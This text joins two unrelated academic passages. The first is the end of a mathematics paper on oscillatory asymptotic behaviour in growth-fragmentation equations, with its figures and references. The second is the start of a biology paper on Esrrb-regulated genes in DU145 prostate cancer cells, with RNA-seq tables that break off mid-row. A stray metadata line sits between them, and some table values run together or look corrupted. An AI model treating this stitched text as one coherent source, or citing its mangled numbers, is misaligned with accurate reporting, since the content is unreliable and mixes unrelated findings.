}{\sqrt{- 2\pi (\log\alpha) y}}dy \to_{t\to\infty} 0, \end{array}$$ by the stationary phase approximation. The proof for convergence of $\tilde r$ is similar. Pointwise oscillatory asymptotic behaviour ------------------------------------------ Despite its seemingly contradiction, we see by the above proof that the steady convergence obtained does not necessarily contradict pointwise oscillations: a weak convergence may happen even for pointwise oscillatory solutions, oscillatory terms compensating each other when averaged by integration. The weak convergence results above have shed light on the line where the mass concentrates: the line $x=e^{ty_0}=\alpha^{-t}.$ Let us first keep the above seen change of variables $r(t,y)=te^{2ty}v(t,e^{ty})$, Formulae and become, for $y=y_0-\log\alpha:$ $$r(t,y_0)=t\alpha^{-2t} v(t, \alpha^{-t})= \sqrt{{\frac}{t}{2\pi}}{ \sum\limits_{ k\in \operatorname{{\mathbb Z}}}U_0(2+{\frac}{2ik\pi}{\log\alpha}) e^{-{2i\pi k }t}}\left(1+o(t^{-\beta})\right),$$ or, using the Poisson formula $$\begin{array}{ll} t\alpha^{-2t} v(t,\alpha^{-t}) &= t \alpha^{-2t} \frac{ \sum\limits_{ n\in \operatorname{{\mathbb Z}}} u_0(\alpha^{n-t}) \alpha^{2n}}{{\sqrt{2\pi t} }}\left(1+o(t^{-\beta})\right) = \sqrt{{\frac}{t}{2\pi}} { \sum\limits_{ n\in \operatorname{{\mathbb Z}}} u_0(\alpha^{n-t}) \alpha^{2(n-t)}}\left(1+o(t^{-\beta})\right). \end{array}$$ These two formulae make obvious the periodic behaviour, of period $T=1,$ of the quantity ${\frac}{r(t,y)}{\sqrt{t}}$. More generally, for a given $y<0$ fixed, these two formulae also show that the function $$f_y(t)=\sqrt{t}e^{2ty-\Psi(y) t}v(t,e^{yt})$$ is periodic in time of period $T_y=-{\frac}{\log\alpha}{y}.$ Since the exponential term $e^{\Psi(y)t}$ is maximal for $y=-\log\alpha,$ the line $(t,\alpha^{-t})$ dominates all the others - what explains the weak convergence result - but each of these lines follow a specific type of periodicity. The period is larger when $\|y\|$ is smaller, which corresponds to the lines $x=e^{yt}$ going more slowly to zero - other said, to the righ-hand side of the gaussian in $y$ (see also Figure \[fig:2\]). This is explained by the fact that the gaussian becoming wider and wider since its standard deviation is proportional to $\sqrt{t},$ the periodicity needs to be faster in the forefront (left-hand side of the gaussian in Figure \[fig:2\]) and slower after. Numerical illustration ---------------------- To simulate more easily the asymptotic behaviour, we define $$n(t,y)=e^{2y}v(t,e^y),$$ which satisfies the following equation $${\frac}{{\partial}}{{\partial}t} n(t,y) + n(t,y)=n(t,y+\log \alpha),\qquad n(0,y)=e^{2y}u_0(e^y).$$ We choose as an initial condition for $n(0,y)$ a gaussian of mean zero and variance $\sigma^2.$ For $\sigma$ large, we do not observe any oscillations - exactly as in the previous numerical illustration of [@DE] where we did not pay attention to the oscillatory phenomena. But for $\sigma$ small enough, clear oscillations appear and illustrate exactly the results. In Figure \[fig:1\], we take $\sigma=0.1$, $\alpha=2$ and draw the numerical value of $\sqrt{t} n(t,-t\log(2)),$ $\sqrt{t} n(t,-2t\log (2))e^{(2\log (2)-1)t}$ and $\sqrt{t} n(t,-{\frac}{t}{2}\log (2))e^{{\frac}{1}{2}(1-\log 2)t}$ which as expected exhibit oscillations of period $1$, ${\frac}{1}{2}$ and $2$ respectively. In Figure \[fig:2\], we show the time evolution of the rescaled profile $\sqrt{t}n(t,y):$ we clearly see the envelope shape of a gaussian appear and become wider and wider, whereas equally-wide peaks are inside the gaussian. [ To illustrate the importance of the initial condition, we take in Figure \[fig:3\] and \[fig:4\] the same quantities with the same parameter values, except the standard deviation, there equal to 0.2. In Figure \[fig:5\] we took $\sigma=0.5:$ no oscillation is visible anymore. The shape of the initial condition has also an influence, as illustrated in Figures \[fig:6\] and \[fig:7\] where we took a Heaviside function in $[0.8,1]$: the shape is conserved when the profile oscillates. Due to the nonlinearity of the initial condition, contrarily to the gaussian initial data, the oscillations never totally disappear for a larger initial support, as shown in Figures \[fig:8\] and \[fig:9\] where the support is $[-1,0]$, then Figure \[fig:11\] where it is $[-5,0]$.]{} ![\[fig:1\] Numerical simulation for $\alpha=2,$ $n(0,y)$ a gaussian of mean $0$ and standard deviation $0.1$. Plot of the time variation of the quantity $\sqrt{t} e^{2ty-\Psi(y)t} v(t,e^{yt})=\sqrt{t} e^{-\Psi(y)t} n(t,yt)$ for $y=-\log (2),$ $y=-2\log (2)$ and $y=-0.5\log(2)$.](Osci_fig1rev.pdf){width="\textwidth"} ![\[fig:2\] Numerical simulation for $\alpha=2,$ $n(0,y)$ a gaussian of mean $0$ and standard deviation $0.1$. Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see the shape of the gaussian becoming wider and wider, whereas oscillations are maintained.](fig2.pdf){width="\textwidth"} ![\[fig:3\] [Numerical simulation for $\alpha=2,$ $n(0,y)$ a gaussian of mean $0$ and standard deviation $0.2$. Plot of the time variation of the quantity $\sqrt{t} e^{2ty-\Psi(y)t} v(t,e^{yt})=\sqrt{t} e^{-\Psi(y)t} n(t,yt)$ for $y=-\log (2),$ $y=-2\log (2)$ and $y=-0.5\log(2)$.]{}](Osci_fig3rev.pdf){width="\textwidth"} ![\[fig:4\][ Numerical simulation for $\alpha=2,$ $n(0,y)$ a gaussian of mean $0$ and standard deviation $0.2$. Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see the shape of the gaussian becoming wider and wider, whereas oscillations are maintained but smaller than for $\sigma=0.1$.]{}](Osci_fig4rev.pdf){width="\textwidth"} ![\[fig:5\][ Numerical simulation for $\alpha=2,$ $n(0,y)$ a gaussian of mean $0$ and standard deviation $0.5$. Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see the shape of the gaussian becoming wider and wider, and no oscillation is anymore visible.]{}](Osci_fig5rev.pdf){width="\textwidth"} ![\[fig:6\] [Numerical simulation for $\alpha=2,$ $n(0,y)$ a Heaviside on $[-0.2,0]$. Plot of the time variation of the quantity $\sqrt{t} e^{2ty-\Psi(y)t} v(t,e^{yt})=\sqrt{t} e^{-\Psi(y)t} n(t,yt)$ for $y=-\log (2),$ $y=-2\log (2)$ and $y=-0.5\log(2)$.]{}](Osci_fig6rev.pdf){width="\textwidth"} ![\[fig:7\] [ Numerical simulation for $\alpha=2,$ $n(0,y)$ a Heaviside on $[-0.2,0].$ Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see the shape of the gaussian becoming wider and wider, whereas oscillations are maintained and keep the shape of the Heaviside.]{}](Osci_fig7rev.pdf){width="\textwidth"} ![\[fig:8\] [Numerical simulation for $\alpha=2,$ $n(0,y)$ a Heaviside on $[-1,0]$. Plot of the time variation of the quantity $\sqrt{t} e^{2ty-\Psi(y)t} v(t,e^{yt})=\sqrt{t} e^{-\Psi(y)t} n(t,yt)$ for $y=-\log (2),$ $y=-2\log (2)$ and $y=-0.5\log(2)$.]{}](Osci_fig10rev.pdf){width="\textwidth"} ![\[fig:9\] [ Numerical simulation for $\alpha=2,$ $n(0,y)$ a Heaviside on $[-1,0].$ Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see the shape of the gaussian becoming wider and wider, whereas oscillations are maintained (though smaller than for more peaked initial data) and keep the shape of the Heaviside.]{}](Osci_fig11rev.pdf){width="\textwidth"} ![\[fig:11\] [ Numerical simulation for $\alpha=2,$ $n(0,y)$ a Heaviside on $[-5,0].$ Plot of the size-distribution of $\sqrt{t} n(t,y)=\sqrt{t} e^{2y} v(t,e^{y})$. We see that the oscillations are maintained (though smaller than for more peaked initial data) and keep the shape of the Heaviside.]{}](Osci_Heavide_5.pdf){width="\textwidth"} M.D. has been supported by the ERC Starting Grant SKIPPER$^{AD}$ (number 306321). The authors thank J. Bertoin, M. Escobedo and P. Gabriel for illuminating discussions, and M. Dauhoo, L. Dumas and P. Gabriel for the opportunity to work together at the CIMPA school in Mauritius. [10]{} Etienne Bernard, Marie Doumic, and Pierre Gabriel. . working paper or preprint, September 2016. J. Bertoin and [A. R.]{} Watson. Probabilistic aspects of critical growth-fragmentation equations. , 9 2015. Jean Bertoin. The asymptotic behavior of fragmentation processes. , 5(4):395–416, 2003. Thibault Bourgeron, Marie Doumic, and Miguel Escobedo. Estimating the division rate of the growth-fragmentation equation with a self-similar kernel. , 30(2):025007, 2014. G. Derfel, B. van Brunt, and G. Wake. A cell growth model revisited. , 19(1-2):75–85, 2012. O. Diekmann, H.J.A.M. Heijmans, and H.R. Thieme. On the stability of the cell size distribution. , 19:227–248, 1984. M. Doumic and P. Gabriel. Eigenelements of a general aggregation-fragmentation model. , 20(05):757, 2009. Marie Doumic and Miguel Escobedo. Time asymptotics for a critical case in fragmentation and growth-fragmentation equations. , 9(2):251–297, june 2016. Marie Doumic, Miguel Escobedo, and Magali Tournus. . working paper or preprint, April 2017. L. Robert and M. Hoffmann and N. Krell and S. Aymerich and J. Robert and M. Doumic . . BMC Biology, 12 (1), 2014. M. [Escobedo]{}. . , November 2016. M. [Escobedo]{}. . , March 2017. Günther Greiner and Rainer Nagel. Growth of cell populations via one-parameter semigroups of positive operators. In Jerome Goldstein, , Steven Rosencrans, , and Gary Sod, editors, [Mathematics Applied to Science]{}, pages 79 – 105. Academic Press, 1988. A. J. Hall and G. C. Wake. Functional-differential equations determining steady size distributions for populations of cells growing exponentially. , 31(4):434–453, 1990. A.J. Hall and G.C. Wake. A functional differential equation arising in modelling of cell growth. , 30:424–435, 1989. B. Perthame. . Frontiers in Mathematics. Birkhäuser Verlag, Basel, 2007. B. Perthame and L. Ryzhik. Exponential decay for the fragmentation or cell-division equation. , 210(1):155–177, 2005. I.W. Stewart. On the coagulation-fragmentation equation. , 41(6):917–924, 1990. B. van Brunt and G. C. Wake. A mellin transform solution to a second-order pantograph equation with linear dispersion arising in a cell growth model. , 22(2):151–168, 2011. Ali A. Zaidi, B. Van Brunt, and G. C. Wake. Solutions to an advanced functional partial differential equation of the pantograph type. , 471(2179), 2015. Ali Ashher Zaidi, Bruce van Brunt, and Graeme Charles Wake. A model for asymmetrical cell division. , 12(3):491–501, 2015. R. M. [Ziff]{} and E. D. [McGrady]{}. . , 18:3027–3037, October 1985. [^1]: Sorbonne Universités, Inria, UPMC Univ Paris 06, Lab. J.L. Lions UMR CNRS 7598, Paris, France [^2]: Wolfgang Pauli Institute, University of Vienna, Vienna, Austria, marie.doumic@inria.fr [^3]: Institute of Fundamental Sciences, Massey University, New Zealand, B.vanBrunt@massey.ac.nz	Mid	[ 0.6508379888268151, 29.125, 15.625 ]
Background {#Sec1} ========== Esrrb encodes nuclear receptor estrogen related receptor β (Esrrb), which belongs to the nuclear receptor family. Esrrb acts as a transcription factor by binding to a specific DNA sequence estrogen related receptor response element (ERRE), which is also known as steroid factor response element (SFRE), or half site estrogen response element \[[@CR1], [@CR2]\]. Esrrb, first cloned in 1988, was not intensively studied until recent years. Knocking out of Esrrb was embryonic lethal due to placental malformation \[[@CR3]\]. Though early studies showed a very limited range of tissues with positive Esrrb expression, recent studies reported that short form Esrrb alternative splicing isoform had a broad range of expression \[[@CR4]\]. Esrrb was found to be a core-reprogramming factor to reprogram Pluripotent Stem Cells (iPSCs) \[[@CR3]--[@CR6]\]. c-myc and klf4 of the OSKM (oct4, sox2, klf4, c-myc) core-reprogramming factors can be replaced by Esrrb \[[@CR5], [@CR6]\]. Esrrb was also recently reported to drive sox2 transcription and induce iPSC in a single cell system \[[@CR7]\]. Tumorigenesis and tumor progression are related to Esrrb. Esrrb was shown to be down-regulated in prostate cancer epithelium compared to normal prostate tissue \[[@CR8]--[@CR10]\]. Its re-expression in DU145 and LNCaP cells was shown to stimulate tumor suppressor cdkn1a (p21) concentration. Also, Esrrb can inhibit Estrogen Receptor transcriptional activity in uterine endometrial cancer cells and Nrf2-Keap signaling pathway in breast cancer cells \[[@CR11], [@CR12]\]. There are a handful of transcriptome-wide expression survey data from Esrrb knockdown in both human iPSCs and mouse embryonic stem cells \[[@CR13]--[@CR16]\]. Known Esrrb controlled genes include klf4, c-myc, cdkn1a and cyp19a1, but Esrrb target genes in cancer cells are still not known. This manuscript focuses on the discovery of Esrrb ligand-independent and Esrrb ligand-dependent target genes. We performed RNA-Seq analysis to characterize Esrrb regulated mRNAs in a prostate cancer cell line and we found the treatment of DY131 expanded Esrrb's transcriptional regulation activity to many more genes. Results {#Sec2} ======= Establishment of the Esrrb stably transfected DU145 cells {#Sec3} --------------------------------------------------------- Esrrb expression vector or control pcDNA3.1 (Zeo+) vector were transfected into DU145 cells. After 3 weeks of Zeocine selection, we characterized the Esrrb status by reverse transcriptase (RT)-PCR, qPCR and western blot analysis (Fig. [1](#Fig1){ref-type="fig"}a--c). Our results showed that Esrrb was successfully expressed in DU145-Esrrb cells. Although RNA-Seq showed that DU145-pc3.1 cells had a very small amount of Esrrb expressed (count per million read \<1), the Esrrb concentration is below the detection limit of RT-PCR and western blot. Compared to HEK293 cells, which expressed endogenous Esrrb, overexpression of Esrrb in DU145 cells raised the Esrrb protein concentration to a comparable physiological concentration (Fig. [1](#Fig1){ref-type="fig"}b). In addition, our RT-PCR results and RNA-seq results confirmed the estrogen related receptor gamma (Esrrg) was not expressed in DU145 cells. The absence of Esrrg eliminated any possible functional contamination by Esrrg in our Esrrb studies (Fig. [1](#Fig1){ref-type="fig"}c).Fig. 1Characterization of Esrrb-expressing cancer cell line. Esrrb status of two independent replicates of stable transfected control DU145-pc3.1 and DU145-Esrrb cells are tested by a quantitative PCR b Western blot and c reverse transcriptase PCR. a Relative mRNA concentrations of Esrrb were measured by qPCR, Esrrb transcripts concentration were determined by standard curve method and Esrrb concentration were first normalized to the concentration of house keeping gene GAPDH, then normalized to Esrrb/GAPDH ratio of DU145-pc3.1 cells. b Total protein was extracted form HEK293, DU145-Esrrb and control DU145-pc3.1 cells. Protein concentration of Esrrb was determined by western blot using GAPDH as internal control. c RT-PCR was performed on total RNA extracted from HEK293, DU145-esrrb and control DU145-pc3.1 cells. Esrrb was expressed in DU145-Esrrb cells, while Esrrg is not expressed in either DU145-pc3.1 and DU145-Esrrb cells Esrrb expression alters mRNA profile {#Sec4} ------------------------------------ To distinguish genes regulated by Esrrb, we performed RNA-Seq analysis on cDNA libraries constructed from two biological replicates of both DU145-pc3.1 and DU145-Esrrb cells. Spearman ranking correlation analysis showed that the expression of Esrrb in DU145 created a distinct transcriptome compared to control DU145-pc3.1 cells (Fig. [2](#Fig2){ref-type="fig"}a). We found 67 genes (21 genes up-regulated, 46 genes down-regulated) altered due to Esrrb expression (Fig. [2](#Fig2){ref-type="fig"}b; Table [1](#Tab1){ref-type="table"}). Seven genes that are among the most changed genes (zcwpw2, hoxb8, tagln, f13a1, pxdn, aox1, and bmp4, as well as tgfβ as a negative control) were confirmed by qPCR (Fig. [3](#Fig3){ref-type="fig"}). Gene ontology (GO) analysis shows that the products of Esrrb driven differentially expressed genes fell into functional categories of regulation of cell development as well as immune responses (Table [2](#Tab2){ref-type="table"}).Fig. 2Transcriptome correlation and Esrrb altered mRNAs. a Transcriptome correlation analysis was performed using Spearman Ranking Correlation. Color represents the correlation coefficient. DY131 treatment to DU145-Esrrb cells results in the lowest correlation coefficient with DU145-pc3.1 cells. b Dot plot of Esrrb-induced gene expression alteration. Genes expressed at adequate level are tested for differential gene expression test. The plot was made by plotting the Log2FC (fold change) against the Log2 cpm (count-per-million) difference. Red color marks the genes that are significant differentially expressed (FDR \< 0.05), and the blue lines marked the Log2FC cutoff value (Log2FC \> 1 or Log2FC \< −1). 67 genes passed both thresholdsTable 1Esrrb altered mRNAsGene symbollogFCP valueFDRAOX1−3.494.89E−1843.19E−180PXDN−2.794.45E−871.16E−83F13A1−2.689.28E−1144.04E−110BMP4−2.591.69E−291.16E−26NPTX1−2.111.06E−461.73E−43SPNS2−1.708.70E−317.09E−28DDX60−1.612.43E−154.46E−13NEFL−1.611.84E−132.85E−11OASL−1.601.30E−257.07E−23IFIT3−1.604.29E−425.09E−39WDR52−1.501.85E−067.40E−05C3−1.437.81E−095.73E−07LOC344887−1.415.01E−201.49E−17PCDHB15−1.416.25E−060.00020978CXorf57−1.411.78E−101.92E−08IFI6−1.381.09E−192.91E−17CXCR4−1.323.23E−060.00011537GBP1−1.311.43E−077.57E−06IGFBP3−1.313.19E−891.04E−85ZSCAN12P1−1.300.000155850.00302695RNF128−1.291.58E−101.73E−08SAMD9−1.292.69E−221.13E−19UNC5A−1.288.28E−073.62E−05MX2−1.271.68E−066.86E−05SSBP2−1.265.96E−050.00141054MX1−1.255.99E−222.37E−19SULT4A1−1.204.94E−050.00120711DPYD−1.191.35E−050.00040257NEBL−1.181.16E−121.62E−10TAGLN−1.185.48E−303.97E−27INA−1.172.47E−050.0006739BMF−1.163.32E−050.00085559ESRP1−1.130.000142060.00283503GJA3−1.121.38E−050.00040614IFIT2−1.111.02E−192.76E−17LOC1005065−1.108.53E−050.0018618RARRES3−1.071.84E−079.68E−06TMEM45A−1.064.69E−060.00016245LGALS3BP−1.054.57E−179.63E−15ERAP2−1.051.83E−503.41E−47WNT10A−1.050.000244170.00440189PADI2−1.041.13E−172.55E−15REEP1−1.010.000247040.0044413AMIGO2−1.018.26E−451.08E−41HES1−0.981.30E−077.01E−06FRMD4B−0.980.000144420.00284746NRIP30.974.28E−146.90E−12HOXB80.983.60E−114.33E−09KCNQ50.985.87E−083.55E−06COX6B20.991.24E−076.77E−06PPFIBP21.046.38E−072.92E−05KIAA11991.061.21E−256.89E−23BST11.084.97E−137.30E−11LOC10013361.130.000199210.00370382SMOC11.151.52E−066.32E−05LOC4414541.159.40E−060.00029713DDIT4L1.182.28E−102.39E−08SEMA3F1.272.08E−206.96E−18DUOX11.355.37E−094.25E−07ARHGAP241.396.40E−106.01E−08CDHR11.442.04E−067.93E−05SDC21.441.49E−081.04E−06SH3RF31.441.32E−050.00039562PRSS81.456.96E−060.00022989TKTL11.903.68E−211.33E−18FGB1.965.57E−222.27E−19ZCWPW25.223.47E−2154.53E−211Fig. 3Esrrb-regulated mRNA validation. Left panel qPCR validation of Esrrb-regulated mRNAs. Expression values were firstly normalized to Gapdh and normalized ratios are further normalized to that of DU145-pc3.1. Error bars represent standard deviation. Student t test was performed for statistical analysis (\p \< 0.05). Seven genes were differentially expressed in both RNA-seq and qPCR, 1 gene, TGFbeta, is not differentially expressed in either assay and serves as a negative control. Right panel* RNA-Seq analysis result, fold change (FC) indicates the ratio of normalized read counts in DU145-Esrrb to that of DU145-pc3.1Table 2Gene ontology analysis of Esrrb altered mRNAsTermCountP valueGO:0060284 \~ regulation of cell development50.006GO:0006955 \~ immune response80.012GO:0009611 \~ response to wounding70.012GO:0042542 \~ response to hydrogen peroxide30.017GO:0050767 \~ regulation of neurogenesis40.022GO:0006800 \~ oxygen and reactive oxygen species metabolic process30.024GO:0060052 \~ neurofilament cytoskeleton organization20.029GO:0000302 \~ response to reactive oxygen species30.03GO:0051960 \~ regulation of nervous system development40.032GO:0031960 \~ response to corticosteroid stimulus30.038GO:0010035 \~ response to inorganic substance40.038GO:0045661 \~ regulation of myoblast differentiation20.039GO:0048667 \~ cell morphogenesis involved in neuron differentiation40.04 DY131 requires Esrrb to affect gene expression {#Sec5} ---------------------------------------------- To get a more comprehensive understanding of Esrrb-regulated genes and characterize Esrrb's potential ligand dependent activity, control DU145-pc3.1 and DU145-Esrrb cells were treated with Esrrb/Esrrg synthetic ligand DY131. Since both qPCR and RNA-seq show Esrrb transcript concentration is extremely low in DU145 cells and Esrrg is absent, and Esrrb protein concentration is also below the detection limit of western-blot analysis, it was not surprising to observe DY131 treatment without Esrrb expressed did not result in any gene differentially expressed (Fig. [4](#Fig4){ref-type="fig"}a). After we applied DY131 to DU145-Esrrb cells, we found DY131 treatment most significantly modified the transcriptome (Figs. [2](#Fig2){ref-type="fig"}a, [4](#Fig4){ref-type="fig"}b). Further comparison of DU145-Esrrb cells alone to DY131-treated DU145-Esrrb cells detected 1161 altered mRNAs (861 down-regulated, 300 up-regulated). 15 of them overlapped with Esrrb-induced mRNA alterations (Fig. [4](#Fig4){ref-type="fig"}c, d; Table [3](#Tab3){ref-type="table"}). We defined an Esrrb agonist as a ligand that moves the mRNA concentration in the direction as Esrrb does; and an antagonist moves the concentration in the opposite direction as Esrrb does. By comparing the trend of the altered genes induced by Esrrb expression and DY131 treatment, DY131 acts as an agonist for 4 of the 15 genes, and an antagonist for 11 of the 15 genes (Fig. [4](#Fig4){ref-type="fig"}d). There are another 1146 mRNAs changed with both Esrrb and DY131 treatment compared to Esrrb alone, indicating their responses is ligand-dependent (Table [3](#Tab3){ref-type="table"}).Fig. 4mRNA alteration by DY131 requires Esrrb expression. a DY131 treatment alone did not alter the expression of any gene. In contrast, when Esrrb was expressed, b DY131 altered 1161 mRNAs. c Venn Diagram of pairwise comparisons of altered mRNAs showed 15 (p = 0.0014) Esrrb altered mRNAs can be further regulated by DY131 treatment (overlap between Esrrb vs. control and Esrrb + DY131 vs. Esrrb). d Heat map of mRNA concentration of the 15 genes that response to both Esrrb expression as well as DY131 treatment. Log2-transformed normalized read counts of these 15 genes were color coded. DY131 is an agonist for 4 mRNAs that are responsive to Esrrb, while it is an antagonist of Esrrb in regulating the other 11 mRNAsTable 3DY131 altered mRNAs when Esrrb is expressedGene symbollogFCP valueFDRMTRNR2L8−6.8300MTRNR2L10−5.319.85E−2424.62E−239SNHG5−5.111.21E−2776.66E−275RPS29−4.9100SEC61G−4.482.94E−1657.90E−163RPL36A−4.352.35015968815850.00E+00RPL12−3.6200TMEM212−3.601.12E−564.20E−55ESRG−3.586.76E−1149.61E−112NEDD8-MDP1−3.477.24E−1027.97E−100FOS−3.342.98E−539.94E−52SLIRP−3.281.01E−1271.85E−125MTRNR2L1−3.1200LGALS3−2.943.19E−1154.69E−113SYTL1−2.939.57E−291.23E−27CLIC3−2.807.42E−299.60E−28WISP2−2.807.36E−562.71E−54ABCD3−2.745.71E−214.79E−20TNNT1−2.694.26E−531.42E−51RPL31−2.6800ASS1−2.662.78E−303.82E−29EGR1−2.6300PSMA1−2.573.99E−893.55E−87MRPL4−2.565.21E−985.36E−96ACPI−2.558.68E−271.02E−25USMG5−2.544.08E−1246.97E−122CRIP1−2.527.63E−1551.76E−152STAT4−2.465.11E−224.64E−21NDUFA11−2.452.16E−932.05E−91SCFD1−2.446.21E−3044.14E−301CYBA−2.445.78E−173.76E−16NAPSA−2.432.66E−171.77E−16RPL13AP5−2.4300RPL9−2.4200TCTEX1D2−2.416.26E−194.62E−18MKNK2−2.354.60E−833.57E−81RPL18−2.3500MUC1−2.332.97E−731.75E−71SEPP1−2.334.57E−142.42E−13PDE9A−2.321.44E−657.05E−64SEMA6B−2.321.67E−535.59E−52RPS15A−2.3000CNTN1−2.293.68E−182.58E−17CA11−2.288.82E−269.90E−25TXN−2.2700LOC728730−2.264.28E−152.45E−14GSTM1−2.263.08E−396.17E−38MACROD1−2.265.25E−173.42E−16CBLC−2.255.56E−235.30E−22SUCLG2−2.247.28E−1129.70E−110PDCD4−2.214.54E−1035.13E−101NDUFB2−2.168.58E−734.91E−71C4orf48−2.161.10E−167.00E−16PIR-FIGF−2.151.69E−352.92E−34DHRS3−2.134.91E−203.92E−19RPL38−2.124.53E−2472.20E−244COX17−2.115.14E−265.86E−25NFE2−2.107.00E−102.63E−09RAB26−2.091.66E−096.04E−09NAPRT1−2.091.48E−1162.20E−114CDK5−2.081.31E−281.67E−27NUCB2−2.082.91E−882.49E−86CEBPD−2.075.29E−834.08E−81DYNC2LI1−2.075.50E−214.63E−20RPL34−2.066.26E−1741.88E−171SNRPF−2.063.85E−1034.39E−101BCKDHB−2.059.69E−261.09E−24ANXA1−2.0400RARS2−2.044.40E−378.15E−36CYP4F11−2.041.11E−188.08E−18SPC24−2.031.42E−179.58E−17PTP4A3−2.024.47E−193.34E−18LOC728190−2.021.35E−126.39E−12PSME1−2.011.62E−811.20E−79POLE2−2.003.59E−571.37E−55NSMCE4A−2.001.78E−617.54E−60FRA10AC1−2.006.45E−431.50E−41RPS12−2.002.44E−2951.47E−292MTRNR2L2−2.004.85E−1671.33E−164TYMP−2.001.58E−352.74E−34RPL11−2.0000CCDC152−1.996.61E−102.49E−09MXD3−1.963.65E−274.38E−26IL17RC−1.953.51E−233.39E−22GRB7−1.951.64E−322.49E−31LOC441454−1.948.75E−103.24E−09PCCA−1.941.00E−218.91E−21ACBD4−1.942.15E−404.51E−39APLP1−1.937.74E−247.77E−23QARS−1.932.90E−1566.93E−154STX8−1.937.69E−268.67E−25TM2D1−1.928.60E−259.14E−24C17orf61−1.921.03E−533.49E−52LOC100507156−1.912.19E−242.27E−23KCNAB2−1.891.65E−433.93E−42CERS4−1.881.66E−272.01E−26C18orf8−1.861.06E−736.36E−72NOTCH3−1.861.46E−169.26E−16LHPP−1.861.93E−129.03E−12GNG7−1.852.37E−131.19E−12RTN2−1.852.10E−097.55E−09SEMA3B−1.842.45E−161.52E−15IL6−1.845.35E−173.49E−16LOC644961−1.841.43E−116.24E−11JPX−1.837.74E−113.17E−10CHCHD6−1.837.00E−195.14E−18PNPLA6−1.833.33E−862.77E−84FBLN1−1.825.31E−338.33E−32SIDT2−1.815.19E−401.07E−38DEPTOR−1.811.85E−107.26E−10ZNF826P−1.811.25E−084.21E−08TTC39A−1.814.87E−173.18E−16TM7SF2−1.811.91E−679.80E−66ELMO3−1.812.54E−222.33E−21OOEP−1.818.06E−103.00E−09DNAJC17−1.811.40E−147.72E−14TCEA2−1.801.83E−363.29E−35SLC22A18−1.801.89E−191.45E−18ALDH3B1−1.803.28E−681.70E−66LOC100130872−1.806.08E−102.30E−09ETFA−1.791.34E−1362.74E−134THYN1−1.799.07E−411.92E−39AKR1C3−1.781.37E−105.47E−10MT1F−1.781.45E−084.86E−08PIP5KL1−1.782.53E−109.85E−10ATP5D−1.781.68E−444.13E−43TMEM120A−1.771.49E−251.64E−24OSBPL5−1.773.00E−091.06E−08TENC1−1.772.65E−181.89E−17EPHX2−1.763.95E−142.10E−13WDR83−1.764.37E−264.99E−25RUVBL2−1.758.63E−1471.95E−144KAZALD1−1.756.39E−225.77E−21RPA3−1.746.68E−411.42E−39NOXA1−1.741.23E−094.49E−09TMEM110-MUSTN1−1.745.21E−081.65E−07CACNA2D2−1.748.47E−103.14E−09DICER1-AS1−1.735.04E−101.91E−09ABHD14A-ACY1−1.731.20E−362.19E−35GRAMD2−1.735.14E−081.63E−07PPIH−1.732.97E−192.25E−18STXBP2−1.732.73E−721.55E−70C10orf10−1.733.54E−213.02E−20PLA2G6−1.735.59E−142.93E−13CHEK2−1.721.79E−464.82E−45SPAG4−1.722.30E−151.34E−14COG6−1.719.36E−371.71E−35TBC1D17−1.717.78E−247.79E−23IFT52−1.716.78E−381.30E−36GARNL3−1.717.22E−112.96E−10DLST−1.702.44E−252.67E−24ACSF2−1.693.58E−131.77E−12RYR1−1.694.48E−091.57E−08LOC100134713−1.683.06E−121.41E−11P2RY6−1.687.55E−216.27E−20RARRES3−1.683.75E−071.09E−06C11orf80−1.675.34E−142.81E−13ELF3−1.672.30E−486.58E−47ADCK4−1.672.68E−405.60E−39GLB1L−1.675.33E−142.80E−13LPPR3−1.671.58E−241.66E−23CDK7−1.671.76E−363.16E−35SLC6A3−1.668.34E−082.58E−07ADAM22−1.662.07E−129.64E−12EIF3K−1.661.65E−981.73E−96S100A4−1.657.75E−102.89E−09ANXA6−1.652.84E−852.35E−83IFT140−1.651.33E−251.48E−24PDIA5−1.651.47E−231.44E−22FADS3−1.652.21E−486.32E−47KCNK15−1.644.58E−213.89E−20FKBP10−1.648.94E−411.89E−39ACSS2−1.641.07E−941.06E−92GSTA4−1.642.80E−314.04E−30KCNMB4−1.648.53E−072.38E−06RPLP2−1.633.48E−2201.52E−217UROS−1.632.54E−425.73E−41IFT27−1.634.67E−193.49E−18TRAPPC9−1.636.82E−288.44E−27ADAMTSL4−1.625.48E−431.28E−41EIF3E−1.623.34E−2481.69E−245ACY1−1.622.83E−303.87E−29MT1X−1.624.27E−244.36E−23LOC643406−1.614.55E−162.79E−15FBXO36−1.611.48E−148.12E−14PACSIN1−1.615.93E−081.87E−07NIT2−1.614.39E−451.10E−43FUZ−1.603.08E−121.42E−11RPL37−1.602.00E−3011.27E−298ALDH4A1−1.602.17E−171.45E−16PDCD5−1.606.19E−652.92E−63MFSD3−1.603.51E−315.00E−30EML3−1.601.27E−645.92E−63PSMA3−1.601.93E−961.96E−94TRPT1−1.592.64E−232.56E−22ALDH6A1−1.599.68E−218.00E−20LOC283038−1.593.12E−111.32E−10BDH2−1.591.27E−178.59E−17SDHB−1.591.43E−707.78E−69ARHGEF25−1.591.35E−291.79E−28CYS1−1.584.38E−081.40E−07C8orf45−1.584.42E−081.41E−07GLTSCR2−1.574.94E−461.30E−44JMJD8−1.573.93E−284.90E−27ANKRD24−1.571.17E−073.56E−07SNURF−1.576.25E−683.23E−66SNRPN−1.576.43E−683.31E−66RCN3−1.571.28E−157.56E−15LACTB2−1.572.50E−781.75E−76HSF4−1.561.23E−136.27E−13ENDOV−1.564.24E−091.48E−08CPT1C−1.554.07E−071.17E−06ITFG1−1.551.10E−889.66E−87IL11RA−1.552.61E−111.12E−10FRG1−1.552.08E−086.87E−08CCDC104−1.548.93E−311.25E−29CERS1−1.544.07E−081.30E−07GDF1−1.544.07E−081.30E−07USP4−1.544.05E−132.00E−12PLCD1−1.546.66E−143.47E−13PBXIP1−1.545.25E−379.70E−36NDUFC1−1.541.61E−423.66E−41CEP70−1.545.71E−592.29E−57MFSD4−1.542.40E−077.10E−07ARPC4-TTLL3−1.533.34E−253.64E−24XRCC1−1.537.89E−351.